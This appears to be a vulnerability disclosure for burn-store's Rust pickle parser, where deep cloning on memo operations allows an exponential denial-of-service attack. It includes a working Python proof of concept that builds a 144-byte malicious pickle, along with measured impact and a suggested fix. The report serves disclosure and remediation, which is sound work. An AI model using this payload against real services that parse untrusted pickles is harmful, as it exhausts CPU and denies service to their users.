Summary

burn-store's pickle parser deep-clones the entire Object tree on every BINGET, MEMOIZE, and BINPUT operation. A crafted pickle that fetches the same memo entry twice, combines the copies with TUPLE2, and stores the result back doubles the node count on every iteration. After N cycles, parsing requires O(2^N) work.

A 144-byte input causes ~2.4 seconds of CPU time. This is the pickle equivalent of the "Billion Laughs" XML attack.

File: crates/burn-store/src/pytorch/pickle_reader.rs
Lines: 894–898 (Stack::top), 930–934 (Stack::memo_get)

Root Cause

fn top(&self) -> Result<Object> {
    match self.stack.last() {
        Some(o) => Ok(o.clone()),   // deep-clones entire Object tree on every call
        None => Err(PickleError::StackUnderflow),
    }
}

fn memo_get(&self, idx: u32) -> Result<Object> {
    self.memo
        .get(&idx)
        .cloned()                   // deep-clones on every fetch
        .ok_or(PickleError::MemoNotFound(idx))
}

Object is a recursive enum (Tuple(Vec<Object>), etc.) so cloning one node clones its entire subtree.

Three opcodes form the amplification cycle:

BINGET 0    ; push clone of memo[0]  — O(2^n) work
BINGET 0    ; push clone again        — O(2^n) work
TUPLE2      ; combine → 2^(n+1) nodes on stack
BINPUT 0    ; memo[0] = clone         — O(2^(n+1)) work
            ; old memo[0] freed, but next iteration doubles again

Each iteration doubles the node count. After N iterations: O(2^N) total work.

Reproduction

NEWFALSE = b'\x89'
BINPUT   = b'q'
BINGET   = b'h'
TUPLE2   = b'\x86'
STOP     = b'.'

N = 20  # 144 bytes
poc = NEWFALSE + BINPUT + b'\x00'
for _ in range(N):
    poc += BINGET + b'\x00' + BINGET + b'\x00' + TUPLE2 + BINPUT + b'\x00'
poc += STOP

open('poc-077.pkl', 'wb').write(poc)

Load with PytorchReader::from_reader(Cursor::new(poc_bytes), None).

Measured scaling (confirmed 2× doubling per step):

Impact

Reachable via PytorchReader::from_reader() on any untrusted raw pickle bytes. No ZIP wrapper required. 16 concurrent requests at N=20 consumes >40 CPU-seconds per core. Increasing N by 7 (one additional byte per cycle = 7 bytes total) multiplies time by 128×.

Suggested Fix

Replace owned Object clones with reference-counted sharing — identical to how CPython's pickle module handles memo:

use std::rc::Rc;

pub struct Stack {
    stack: Vec<Rc<Object>>,
    memo: HashMap<u32, Rc<Object>>,
    ...
}

fn top(&self) -> Result<Rc<Object>> {
    self.stack.last().cloned()      // O(1) refcount bump, no tree copy
        .ok_or(PickleError::StackUnderflow)
}

fn memo_get(&self, idx: u32) -> Result<Rc<Object>> {
    self.memo.get(&idx).cloned()    // O(1)
        .ok_or(PickleError::MemoNotFound(idx))
}

As a simpler interim mitigation, track total node count in Stack and reject inputs that exceed a threshold (e.g., 10 million nodes).